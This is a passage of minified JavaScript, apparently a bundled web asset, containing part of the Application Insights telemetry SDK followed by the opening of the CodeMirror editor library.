f.config.enableDebug};s={instrumentationKey:function(){return f.config.instrumentationKey},accountId:function(){return f.config.accountId},sessionRenewalMs:function(){return f.config.sessionRenewalMs},sessionExpirationMs:function(){return f.config.sessionExpirationMs},endpointUrl:function(){return f.config.endpointUrl},emitLineDelimitedJson:function(){return f.config.emitLineDelimitedJson},maxBatchSizeInBytes:function(){return!f.config.isBeaconApiDisabled&&t.Util.IsBeaconApiSupported()?Math.min(f.config.maxBatchSizeInBytes,t.Sender.MaxBeaconPayloadSize):f.config.maxBatchSizeInBytes},maxBatchInterval:function(){return f.config.maxBatchInterval},disableTelemetry:function(){return f.config.disableTelemetry},sampleRate:function(){return f.config.samplingPercentage},cookieDomain:function(){return f.config.cookieDomain},enableSessionStorageBuffer:function(){return(f.config.isBeaconApiDisabled||!t.Util.IsBeaconApiSupported())&&f.config.enableSessionStorageBuffer},isRetryDisabled:function(){return f.config.isRetryDisabled},isBeaconApiDisabled:function(){return f.config.isBeaconApiDisabled},sdkExtension:function(){return f.config.sdkExtension},isBrowserLinkTrackingEnabled:function(){return f.config.isBrowserLinkTrackingEnabled},appId:function(){return f.config.appId}};this.config.isCookieUseDisabled&&t.Util.disableCookies();this.config.isStorageUseDisabled&&t.Util.disableStorage();this.context=new t.TelemetryContext(s);this._pageViewManager=new n.ApplicationInsights.Telemetry.PageViewManager(this,this.config.overridePageViewDuration);this._eventTracking=new i("trackEvent");this._eventTracking.action=function(n,i,r,u,e){e?isNaN(e.duration)&&(e.duration=r):e={duration:r};var o=new t.Telemetry.Event(n,u,e),s=new t.Telemetry.Common.Data(t.Telemetry.Event.dataType,o),h=new t.Telemetry.Common.Envelope(s,t.Telemetry.Event.envelopeType);f.context.track(h)};this._pageTracking=new i("trackPageView");this._pageTracking.action=function(n,t,i,r,u){f.sendPageViewInternal(n,t,i,r,u)};this._pageVisitTimeManager=new t.Telemetry.PageVisitTimeManager(function(n,t,i){return f.trackPageVisitTime(n,t,i)});this.config.disableAjaxTracking||(this._ajaxMonitor=new n.ApplicationInsights.AjaxMonitor(this))}return r.prototype.sendPageViewInternal=function(n,i,r,u,f){var e=new t.Telemetry.PageView(n,i,r,u,f,this.context.operation.id),o=new t.Telemetry.Common.Data(t.Telemetry.PageView.dataType,e),s=new t.Telemetry.Common.Envelope(o,t.Telemetry.PageView.envelopeType);this.context.track(s);this._trackAjaxAttempts=0},r.prototype.sendPageViewPerformanceInternal=function(n){var i=new t.Telemetry.Common.Data(t.Telemetry.PageViewPerformance.dataType,n),r=new t.Telemetry.Common.Envelope(i,t.Telemetry.PageViewPerformance.envelopeType);this.context.track(r)},r.prototype.startTrackPage=function(n){try{"string"!=typeof n&&(n=window.document&&window.document.title||"");this._pageTracking.start(n)}catch(i){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.StartTrackFailed,"startTrackPage failed, page view may not be collected: "+t.Util.getExceptionName(i),{exception:t.Util.dump(i)})}},r.prototype.stopTrackPage=function(n,i,r,u){try{"string"!=typeof n&&(n=window.document&&window.document.title||"");"string"!=typeof i&&(i=window.location&&window.location.href||"");this._pageTracking.stop(n,i,r,u);this.config.autoTrackPageVisitTime&&this._pageVisitTimeManager.trackPreviousPageVisit(n,i)}catch(f){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.StopTrackFailed,"stopTrackPage failed, page view will not be collected: "+t.Util.getExceptionName(f),{exception:t.Util.dump(f)})}},r.prototype.trackPageView=function(n,i,r,u,f){try{this._pageViewManager.trackPageView(n,i,r,u,f);this.config.autoTrackPageVisitTime&&this._pageVisitTimeManager.trackPreviousPageVisit(n,i)}catch(e){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.TrackPVFailed,"trackPageView failed, page view will not be collected: "+t.Util.getExceptionName(e),{exception:t.Util.dump(e)})}},r.prototype.startTrackEvent=function(n){try{this._eventTracking.start(n)}catch(i){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.StartTrackEventFailed,"startTrackEvent failed, event will not be collected: "+t.Util.getExceptionName(i),{exception:t.Util.dump(i)})}},r.prototype.stopTrackEvent=function(n,i,r){try{this._eventTracking.stop(n,undefined,i,r)}catch(u){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.StopTrackEventFailed,"stopTrackEvent failed, event will not be collected: "+t.Util.getExceptionName(u),{exception:t.Util.dump(u)})}},r.prototype.trackEvent=function(n,i,r){try{var f=new t.Telemetry.Event(n,i,r),e=new t.Telemetry.Common.Data(t.Telemetry.Event.dataType,f),o=new t.Telemetry.Common.Envelope(e,t.Telemetry.Event.envelopeType);this.context.track(o)}catch(u){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.TrackEventFailed,"trackEvent failed, event will not be collected: "+t.Util.getExceptionName(u),{exception:t.Util.dump(u)})}},r.prototype.trackDependency=function(n,i,r,u,f,e,o,s,h){if(-1===this.config.maxAjaxCallsPerView||this._trackAjaxAttempts<this.config.maxAjaxCallsPerView){var c=new t.Telemetry.RemoteDependencyData(n,r,u,f,e,o,i,s,h),l=new t.Telemetry.Common.Data(t.Telemetry.RemoteDependencyData.dataType,c),a=new t.Telemetry.Common.Envelope(l,t.Telemetry.RemoteDependencyData.envelopeType);this.context.track(a)}else this._trackAjaxAttempts===this.config.maxAjaxCallsPerView&&t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.MaxAjaxPerPVExceeded,"Maximum ajax per page view limit reached, ajax monitoring is paused until the next trackPageView(). In order to increase the limit set the maxAjaxCallsPerView configuration parameter.",!0);++this._trackAjaxAttempts},r.prototype.trackDependencyData=function(n){if(-1===this.config.maxAjaxCallsPerView||this._trackAjaxAttempts<this.config.maxAjaxCallsPerView){var i=new t.Telemetry.Common.Data(t.Telemetry.RemoteDependencyData.dataType,n),r=new t.Telemetry.Common.Envelope(i,t.Telemetry.RemoteDependencyData.envelopeType);this.context.track(r)}else this._trackAjaxAttempts===this.config.maxAjaxCallsPerView&&t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.MaxAjaxPerPVExceeded,"Maximum ajax per page view limit reached, ajax monitoring is paused until the next trackPageView(). In order to increase the limit set the maxAjaxCallsPerView configuration parameter.",!0);++this._trackAjaxAttempts},r.prototype.trackAjax=function(n,t,i,r,u,f){this.trackDependency(n,null,t,i,r,u,f)},r.prototype.trackException=function(n,i,r,u,f){try{if(!t.Util.isError(n))try{throw new Error(n);}catch(o){n=o}var s=new t.Telemetry.Exception(n,r,u,f),h=new t.Telemetry.Common.Data(t.Telemetry.Exception.dataType,s),c=new t.Telemetry.Common.Envelope(h,t.Telemetry.Exception.envelopeType);this.context.track(c)}catch(e){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.TrackExceptionFailed,"trackException failed, exception will not be collected: "+t.Util.getExceptionName(e),{exception:t.Util.dump(e)})}},r.prototype.trackMetric=function(n,i,r,u,f,e){try{var s=new t.Telemetry.Metric(n,i,r,u,f,e),h=new t.Telemetry.Common.Data(t.Telemetry.Metric.dataType,s),c=new t.Telemetry.Common.Envelope(h,t.Telemetry.Metric.envelopeType);this.context.track(c)}catch(o){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.TrackMetricFailed,"trackMetric failed, metric will not be collected: "+t.Util.getExceptionName(o),{exception:t.Util.dump(o)})}},r.prototype.trackTrace=function(n,i,r){try{var f=new t.Telemetry.Trace(n,i,r),e=new t.Telemetry.Common.Data(t.Telemetry.Trace.dataType,f),o=new t.Telemetry.Common.Envelope(e,t.Telemetry.Trace.envelopeType);this.context.track(o)}catch(u){t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.TrackTraceFailed,"trackTrace failed, trace will not be collected: "+t.Util.getExceptionName(u),{exception:t.Util.dump(u)})}},r.prototype.trackPageVisitTime=function(n,t,i){var r={PageName:n,PageUrl:t};this.trackMetric("PageVisitTime",i,1,i,i,r)},r.prototype.flush=function(n){void 0===n&&(n=!0);try{this.context._sender.triggerSend(n)}catch(i){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.FlushFailed,"flush failed, telemetry will not be collected: "+t.Util.getExceptionName(i),{exception:t.Util.dump(i)})}},r.prototype.setAuthenticatedUserContext=function(n,i,r){void 0===r&&(r=!1);try{this.context.user.setAuthenticatedUserContext(n,i,r)}catch(u){t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.SetAuthContextFailed,"Setting auth user context failed. "+t.Util.getExceptionName(u),{exception:t.Util.dump(u)},!0)}},r.prototype.clearAuthenticatedUserContext=function(){try{this.context.user.clearAuthenticatedUserContext()}catch(n){t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.SetAuthContextFailed,"Clearing auth user context failed. "+t.Util.getExceptionName(n),{exception:t.Util.dump(n)},!0)}},r.prototype.SendCORSException=function(i){var r=n.ApplicationInsights.Telemetry.Exception.CreateSimpleException("Script error.","Error","unknown","unknown","The browser's same-origin policy prevents us from getting the details of this exception. Consider using 'crossorigin' attribute.",0),u,f;r.properties=i;u=new t.Telemetry.Common.Data(t.Telemetry.Exception.dataType,r);f=new t.Telemetry.Common.Envelope(u,t.Telemetry.Exception.envelopeType);this.context.track(f)},r.prototype._onerror=function(n,i,r,u,f){var e,o,h,c;try{e={url:i||document.URL};t.Util.isCrossOriginError(n,i,r,u,f)?this.SendCORSException(e):(t.Util.isError(f)||(o="window.onerror@"+e.url+":"+r+":"+(u||0),(f=new Error(n)).stack=o),this.trackException(f,null,e))}catch(s){h=f?f.name+", "+f.message:"null";c=t.Util.dump(s);t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.ExceptionWhileLoggingError,"_onerror threw exception while logging error, error will not be collected: "+t.Util.getExceptionName(s),{exception:c,errorString:h})}},r}();t.AppInsights=r;i=function(){function n(n){this._name=n;this._events={}}return n.prototype.start=function(n){"undefined"!=typeof this._events[n]&&t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.StartCalledMoreThanOnce,"start was called more than once for this event without calling stop.",{name:this._name,key:n},!0);this._events[n]=+new Date},n.prototype.stop=function(n,i,r,u){var f=this._events[n],e,o;isNaN(f)?t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.StopCalledWithoutStart,"stop was called without a corresponding start.",{name:this._name,key:n},!0):(e=+new Date,o=t.Telemetry.PageViewPerformance.getDuration(f,e),this.action(n,i,o,r,u));delete this._events[n];this._events[n]=undefined},n}()}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function t(){}return t.reset=function(){t.isEnabled()&&(n.Util.setSessionStorage(t.ITEMS_QUEUED_KEY,"0"),n.Util.setSessionStorage(t.ISSUES_REPORTED_KEY,"0"),t.itemsRestoredFromSessionBuffer=0)},t.isEnabled=function(){return t.enabled&&null!=t.appInsights&&t.appInsights.context._sender._XMLHttpRequestSupported&&n.Util.canUseSessionStorage()},t.getIssuesReported=function(){return!t.isEnabled()||isNaN(+n.Util.getSessionStorage(t.ISSUES_REPORTED_KEY))?0:+n.Util.getSessionStorage(t.ISSUES_REPORTED_KEY)},t.incrementItemsQueued=function(){try{if(t.isEnabled()){var i=t.getNumberOfLostItems();++i;n.Util.setSessionStorage(t.ITEMS_QUEUED_KEY,i.toString())}}catch(r){}},t.decrementItemsQueued=function(i){try{if(t.isEnabled()){var r=t.getNumberOfLostItems();(r-=i)<0&&(r=0);n.Util.setSessionStorage(t.ITEMS_QUEUED_KEY,r.toString())}}catch(u){}},t.getNumberOfLostItems=function(){var i=0;try{t.isEnabled()&&(i=isNaN(+n.Util.getSessionStorage(t.ITEMS_QUEUED_KEY))?0:+n.Util.getSessionStorage(t.ITEMS_QUEUED_KEY))}catch(r){i=0}return i},t.reportLostItems=function(){var r,i;try{t.isEnabled()&&t.getIssuesReported()<t.LIMIT_PER_SESSION&&t.getNumberOfLostItems()>0&&(r=t.getNumberOfLostItems()-t.itemsRestoredFromSessionBuffer,t.appInsights.trackTrace('AI (Internal): Internal report DATALOSS:"'+r+'"',null),t.appInsights.flush(),i=t.getIssuesReported(),++i,n.Util.setSessionStorage(t.ISSUES_REPORTED_KEY,i.toString()))}catch(u){n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.FailedToReportDataLoss,"Failed to report data loss: "+n.Util.getExceptionName(u),{exception:n.Util.dump(u)})}finally{try{t.reset()}catch(u){}}},t.enabled=!1,t.itemsRestoredFromSessionBuffer=0,t.LIMIT_PER_SESSION=10,t.ITEMS_QUEUED_KEY="AI_itemsQueued",t.ISSUES_REPORTED_KEY="AI_lossIssuesReported",t}();n.DataLossAnalyzer=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){var i=function(){function i(t){t.queue=t.queue||[];var r=t.config||{};if(r&&!r.instrumentationKey)if((r=t).iKey)n.ApplicationInsights.Version="0.10.0.0",r.instrumentationKey=r.iKey;else{if(!r.applicationInsightsId)throw new Error("Cannot load Application Insights SDK, no instrumentationKey was provided.");n.ApplicationInsights.Version="0.7.2.0";r.instrumentationKey=r.applicationInsightsId}r=i.getDefaultConfig(r);this.snippet=t;this.config=r}return i.prototype.loadAppInsights=function(){var t=new n.ApplicationInsights.AppInsights(this.config),i;return this.config.iKey&&(i=t.trackPageView,t.trackPageView=function(n,r,u){i.apply(t,[null,n,r,u])}),"function"==typeof this.snippet.logPageView&&(t.logPageView=function(n,i,r){t.trackPageView(null,n,i,r)}),"function"==typeof this.snippet.logEvent&&(t.logEvent=function(n,i,r){t.trackEvent(n,i,r)}),t},i.prototype.emptyQueue=function(){var f,i,u;try{if(n.ApplicationInsights.Util.isArray(this.snippet.queue)){for(f=this.snippet.queue.length,i=0;i<f;i++)this.snippet.queue[i]();this.snippet.queue=undefined;delete this.snippet.queue}}catch(r){u={};r&&"function"==typeof r.toString&&(u.exception=r.toString());n.ApplicationInsights._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.FailedToSendQueuedTelemetry,"Failed to send queued telemetry",u)}},i.prototype.pollInteralLogs=function(t){return setInterval(function(){for(var i=n.ApplicationInsights._InternalLogging.queue,u=i.length,r=0;r<u;r++)t.trackTrace(i[r].message);i.length=0},this.config.diagnosticLogInterval)},i.prototype.addHousekeepingBeforeUnload=function(t){!t.config.disableFlushOnBeforeUnload&&"onbeforeunload"in window&&(n.ApplicationInsights.Util.addEventHandler("beforeunload",function(){t.context._sender.triggerSend();t.context._sessionManager.backup()})||n.ApplicationInsights._InternalLogging.throwInternal(n.ApplicationInsights.LoggingSeverity.CRITICAL,n.ApplicationInsights._InternalMessageId.FailedToAddHandlerForOnBeforeUnload,"Could not add handler for beforeunload"))},i.getDefaultConfig=function(n){return n||(n={}),n.endpointUrl=n.endpointUrl||"https://dc.services.visualstudio.com/v2/track",n.sessionRenewalMs=18e5,n.sessionExpirationMs=864e5,n.maxBatchSizeInBytes=n.maxBatchSizeInBytes>0?n.maxBatchSizeInBytes:102400,n.maxBatchInterval=isNaN(n.maxBatchInterval)?15e3:n.maxBatchInterval,n.enableDebug=t.Util.stringToBoolOrDefault(n.enableDebug),n.disableExceptionTracking=t.Util.stringToBoolOrDefault(n.disableExceptionTracking),n.disableTelemetry=t.Util.stringToBoolOrDefault(n.disableTelemetry),n.verboseLogging=t.Util.stringToBoolOrDefault(n.verboseLogging),n.emitLineDelimitedJson=t.Util.stringToBoolOrDefault(n.emitLineDelimitedJson),n.diagnosticLogInterval=n.diagnosticLogInterval||1e4,n.autoTrackPageVisitTime=t.Util.stringToBoolOrDefault(n.autoTrackPageVisitTime),(isNaN(n.samplingPercentage)||n.samplingPercentage<=0||n.samplingPercentage>=100)&&(n.samplingPercentage=100),n.disableAjaxTracking=t.Util.stringToBoolOrDefault(n.disableAjaxTracking),n.maxAjaxCallsPerView=isNaN(n.maxAjaxCallsPerView)?500:n.maxAjaxCallsPerView,n.isBeaconApiDisabled=t.Util.stringToBoolOrDefault(n.isBeaconApiDisabled,!0),n.disableCorrelationHeaders=t.Util.stringToBoolOrDefault(n.disableCorrelationHeaders),n.correlationHeaderExcludedDomains=n.correlationHeaderExcludedDomains||["*.blob.core.windows.net","*.blob.core.chinacloudapi.cn","*.blob.core.cloudapi.de","*.blob.core.usgovcloudapi.net"],n.disableFlushOnBeforeUnload=t.Util.stringToBoolOrDefault(n.disableFlushOnBeforeUnload),n.enableSessionStorageBuffer=t.Util.stringToBoolOrDefault(n.enableSessionStorageBuffer,!0),n.isRetryDisabled=t.Util.stringToBoolOrDefault(n.isRetryDisabled),n.isCookieUseDisabled=t.Util.stringToBoolOrDefault(n.isCookieUseDisabled),n.isStorageUseDisabled=t.Util.stringToBoolOrDefault(n.isStorageUseDisabled),n.isBrowserLinkTrackingEnabled=t.Util.stringToBoolOrDefault(n.isBrowserLinkTrackingEnabled),n.enableCorsCorrelation=t.Util.stringToBoolOrDefault(n.enableCorsCorrelation),n},i}();t.Initialization=i}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(){var r;try{if("undefined"!=typeof window&&"undefined"!=typeof JSON)if(window.appInsights===undefined)n.ApplicationInsights.AppInsights.defaultConfig=n.ApplicationInsights.Initialization.getDefaultConfig();else{var u=window.appInsights||{},t=new n.ApplicationInsights.Initialization(u),i=t.loadAppInsights();for(r in i)u[r]=i[r];t.emptyQueue();t.pollInteralLogs(i);t.addHousekeepingBeforeUnload(i)}}catch(f){n.ApplicationInsights._InternalLogging.warnToConsole("Failed to initialize AppInsights JS SDK: "+f.message)}}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){if("object"==typeof exports&&"object"==typeof module)module.exports=n();else{if("function"==typeof define&&define.amd)return define([],n);this.CodeMirror=n()}}(function(){"use strict";function t(n,i){var r,h,u,o,f,e;if(!(this instanceof t))return new t(n,i);this.options=i=i?ht(i):{};ht(ug,i,!1);us(i);r=i.value;"string"==typeof r&&(r=new tt(r,i.mode));this.doc=r;h=new t.inputStyles[i.inputStyle](this);u=this.display=new nw(n,r,h);u.wrapper.CodeMirror=this;bc(this);wc(this);i.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap");i.autofocus&&!af&&u.input.focus();kc(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,draggingText:!1,highlight:new ff,keySeq:null,specialChars:null};o=this;s&&11>a&&setTimeout(function(){o.display.input.reset(!0)},20);cb(this);cd();sr(this);this.curOp.forceUpdate=!0;oy(this,r);i.autofocus&&!af||o.hasFocus()?setTimeout(hf(sh,this),20):pu(this);for(f in gr)gr.hasOwnProperty(f)&&gr[f](this,i[f],hp);for(gc(this),i.finishInit&&i.finishInit(this),e=0;e<wo.length;++e)wo[e](this);hr(this);y&&i.lineWrapping&&"optimizelegibility"==getComputedStyle(u.lineDiv).textRendering&&(u.lineDiv.style.textRendering="auto")}function nw(n,t,r){var u=this;this.input=r;u.scrollbarFiller=i("div",null,"CodeMirror-scrollbar-filler");u.scrollbarFiller.setAttribute("cm-not-content","true");u.gutterFiller=i("div",null,"CodeMirror-gutter-filler");u.gutterFiller.setAttribute("cm-not-content","true");u.lineDiv=i("div",null,"CodeMirror-code");u.selectionDiv=i("div",null,null,"position: relative; z-index: 1");u.cursorDiv=i("div",null,"CodeMirror-cursors");u.measure=i("div",null,"CodeMirror-measure");u.lineMeasure=i("div",null,"CodeMirror-measure");u.lineSpace=i("div",[u.measure,u.lineMeasure,u.selectionDiv,u.cursorDiv,u.lineDiv],null,"position: relative; outline: none");u.mover=i("div",[i("div",[u.lineSpace],"CodeMirror-lines")],null,"position: relative");u.sizer=i("div",[u.mover],"CodeMirror-sizer");u.sizerWidth=null;u.heightForcer=i("div",null,null,"position: absolute; height: "+pp+"px; width: 1px;");u.gutters=i("div",null,"CodeMirror-gutters");u.lineGutter=null;u.scroller=i("div",[u.sizer,u.heightForcer,u.gutters],"CodeMirror-scroll");u.scroller.setAttribute("tabIndex","-1");u.wrapper=i("div",[u.scrollbarFiller,u.gutterFiller,u.scroller],"CodeMirror");s&&8>a&&(u.gutters.style.zIndex=-1,u.scroller.style.paddingRight=0);y||gi&&af||(u.scroller.draggable=!0);n&&(n.appendChild?n.appendChild(u.wrapper):n(u.wrapper));u.viewFrom=u.viewTo=t.first;u.reportedViewFrom=u.reportedViewTo=t.first;u.view=[];u.renderedView=null;u.externalMeasured=null;u.viewOffset=0;u.lastWrapHeight=u.lastWrapWidth=0;u.updateLineNumbers=null;u.nativeBarWidth=u.barHeight=u.barWidth=0;u.scrollbarsClipped=!1;u.lineNumWidth=u.lineNumInnerWidth=u.lineNumChars=null;u.alignWidgets=!1;u.cachedCharWidth=u.cachedTextHeight=u.cachedPaddingH=null;u.maxLine=null;u.maxLineLength=0;u.maxLineChanged=!1;u.wheelDX=u.wheelDY=u.wheelStartX=u.wheelStartY=null;u.shift=!1;u.selForContextMenu=null;u.activeTouch=null;r.init(u)}function ns(n){n.doc.mode=t.getMode(n.options,n.doc.modeOption);uu(n)}function uu(n){n.doc.iter(function(n){n.stateAfter&&(n.stateAfter=null);n.styles&&(n.styles=null)});n.doc.frontier=n.doc.first;cu(n,100);n.state.modeGen++;n.curOp&&it(n)}function tw(n){n.options.lineWrapping?(te(n.display.wrapper,"CodeMirror-wrap"),n.display.sizer.style.minWidth="",n.display.sizerWidth=null):(ne(n.display.wrapper,"CodeMirror-wrap"),rs(n));ts(n);it(n);au(n);setTimeout(function(){er(n)},100)}function pc(n){var t=vi(n.display),i=n.options.lineWrapping,r=i&&Math.max(5,n.display.scroller.clientWidth/vu(n.display)-3);return function(u){var e,f;if(pi(n.doc,u))return 0;if(e=0,u.widgets)for(f=0;f<u.widgets.length;f++)u.widgets[f].height&&(e+=u.widgets[f].height);return i?e+(Math.ceil(u.text.length/r)||1)*t:e+t}}function ts(n){var t=n.doc,i=pc(n);t.iter(function(n){var t=i(n);t!=n.height&&wt(n,t)})}function wc(n){n.display.wrapper.className=n.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+n.options.theme.replace(/(^|\s)\s*/g," cm-s-");au(n)}function fu(n){bc(n);it(n);setTimeout(function(){ss(n)},20)}function bc(n){var r=n.display.gutters,e=n.options.gutters,t,u,f;for(di(r),t=0;t<e.length;++t)u=e[t],f=r.appendChild(i("div",null,"CodeMirror-gutter "+u)),"CodeMirror-linenumbers"==u&&(n.display.lineGutter=f,f.style.width=(n.display.lineNumWidth||1)+"px");r.style.display=t?"":"none";is(n)}function is(n){var t=n.display.gutters.offsetWidth;n.display.sizer.style.marginLeft=t+"px"}function re(n){var u,r,t,i;if(0==n.height)return 0;for(r=n.text.length,t=n;u=yv(t);)i=u.find(0,!0),t=i.from.line,r+=i.from.ch-i.to.ch;for(t=n;u=gu(t);)i=u.find(0,!0),r-=t.text.length-i.from.ch,t=i.to.line,r+=t.text.length-i.to.ch;return r}function rs(n){var t=n.display,i=n.doc;t.maxLine=r(i,i.first);t.maxLineLength=re(t.maxLine);t.maxLineChanged=!0;i.iter(function(n){var i=re(n);i>t.maxLineLength&&(t.maxLineLength=i,t.maxLine=n)})}function us(n){var t=d(n.gutters,"CodeMirror-linenumbers");-1==t&&n.lineNumbers?n.gutters=n.gutters.concat(["CodeMirror-linenumbers"]):t>-1&&!n.lineNumbers&&(n.gutters=n.gutters.slice(0),n.gutters.splice(t,1))}function eu(n){var t=n.display,i=t.gutters.offsetWidth,r=Math.round(n.doc.height+th(n.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:n.options.fixedGutter?i:0,docHeight:r,scrollHeight:r+yt(n)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:i}}function fs(n,t,r){this.cm=r;var f=this.vert=i("div",[i("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),e=this.horiz=i("div",[i("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");n(f);n(e);u(f,"scroll",function(){f.clientHeight&&t(f.scrollTop,"vertical")});u(e,"scroll",function(){e.clientWidth&&t(e.scrollLeft,"horizontal")});this.checkedOverlay=!1;s&&8>a&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")}function es(){}function kc(n){n.display.scrollbars&&(n.display.scrollbars.clear(),n.display.scrollbars.addClass&&ne(n.display.wrapper,n.display.scrollbars.addClass));n.display.scrollbars=new t.scrollbarModel[n.options.scrollbarStyle](function(t){n.display.wrapper.insertBefore(t,n.display.scrollbarFiller);u(t,"mousedown",function(){n.state.focused&&setTimeout(function(){n.display.input.focus()},0)});t.setAttribute("cm-not-content","true")},function(t,i){"horizontal"==i?lr(n,t):yu(n,t)},n);n.display.scrollbars.addClass&&te(n.display.wrapper,n.display.scrollbars.addClass)}function er(n,t){var i,r,u;for(t||(t=eu(n)),i=n.display.barWidth,r=n.display.barHeight,dc(n,t),u=0;4>u&&i!=n.display.barWidth||r!=n.display.barHeight;u++)i!=n.display.barWidth&&n.options.lineWrapping&&fe(n),dc(n,eu(n)),i=n.display.barWidth,r=n.display.barHeight}function dc(n,t){var i=n.display,r=i.scrollbars.update(t);i.sizer.style.paddingRight=(i.barWidth=r.right)+"px";i.sizer.style.paddingBottom=(i.barHeight=r.bottom)+"px";r.right&&r.bottom?(i.scrollbarFiller.style.display="block",i.scrollbarFiller.style.height=r.bottom+"px",i.scrollbarFiller.style.width=r.right+"px"):i.scrollbarFiller.style.display="";r.bottom&&n.options.coverGutterNextToScrollbar&&n.options.fixedGutter?(i.gutterFiller.style.display="block",i.gutterFiller.style.height=r.bottom+"px",i.gutterFiller.style.width=t.gutterWidth+"px"):i.gutterFiller.style.display=""}function os(n,t,i){var f=i&&null!=i.top?Math.max(0,i.top):n.scroller.scrollTop,o,s;f=Math.floor(f-ye(n));var h=i&&null!=i.bottom?i.bottom:f+n.wrapper.clientHeight,u=ki(t,f),e=ki(t,h);return i&&i.ensure&&(o=i.ensure.from.line,s=i.ensure.to.line,u>o?(u=o,e=ki(t,fi(r(t,o))+n.wrapper.clientHeight)):Math.min(s,t.lastLine())>=e&&(u=ki(t,fi(r(t,s))-n.wrapper.clientHeight),e=s)),{from:u,to:Math.max(e,u+1)}}function ss(n){var t=n.display,r=t.view,u,f;if(t.alignWidgets||t.gutters.firstChild&&n.options.fixedGutter){for(var e=cs(t)-t.scroller.scrollLeft+n.doc.scrollLeft,s=t.gutters.offsetWidth,o=e+"px",i=0;i<r.length;i++)if(!r[i].hidden&&(n.options.fixedGutter&&r[i].gutter&&(r[i].gutter.style.left=o),u=r[i].alignable,u))for(f=0;f<u.length;f++)u[f].style.left=o;n.options.fixedGutter&&(t.gutters.style.left=e+s+"px")}}function gc(n){if(!n.options.lineNumbers)return!1;var u=n.doc,r=hs(n.options,u.first+u.size-1),t=n.display;if(r.length!=t.lineNumChars){var f=t.measure.appendChild(i("div",[i("div",r)],"CodeMirror-linenumber CodeMirror-gutter-elt")),e=f.firstChild.offsetWidth,o=f.offsetWidth-e;return t.lineGutter.style.width="",t.lineNumInnerWidth=Math.max(e,t.lineGutter.offsetWidth-o)+1,t.lineNumWidth=t.lineNumInnerWidth+o,t.lineNumChars=t.lineNumInnerWidth?r.length:-1,t.lineGutter.style.width=t.lineNumWidth+"px",is(n),!0}return!1}function hs(n,t){return String(n.lineNumberFormatter(t+n.firstLineNumber))}function cs(n){return n.scroller.getBoundingClientRect().left-n.sizer.getBoundingClientRect().left}function ue(n,t,i){var r=n.display;this.viewport=t;this.visible=os(r,n.doc,t);this.editorIsHidden=!r.wrapper.offsetWidth;this.wrapperHeight=r.wrapper.clientHeight;this.wrapperWidth=r.wrapper.clientWidth;this.oldDisplayWidth=oi(n);this.force=i;this.dims=ys(n);this.events=[]}function iw(n){var t=n.display;!t.scrollbarsClipped&&t.scroller.offsetWidth&&(t.nativeBarWidth=t.scroller.offsetWidth-t.scroller.clientWidth,t.heightForcer.style.height=yt(n)+"px",t.sizer.style.marginBottom=-t.nativeBarWidth+"px",t.sizer.style.borderRightWidth=yt(n)+"px",t.scrollbarsClipped=!0)}function ls(n,t){var i=n.display,o=n.doc,h,s,e;if(t.editorIsHidden)return si(n),!1;if(!t.force&&t.visible.from>=i.viewFrom&&t.visible.to<=i.viewTo&&(null==i.updateLineNumbers||i.updateLineNumbers>=i.viewTo)&&i.renderedView==i.view&&0==aa(n))return!1;gc(n)&&(si(n),t.dims=ys(n));var 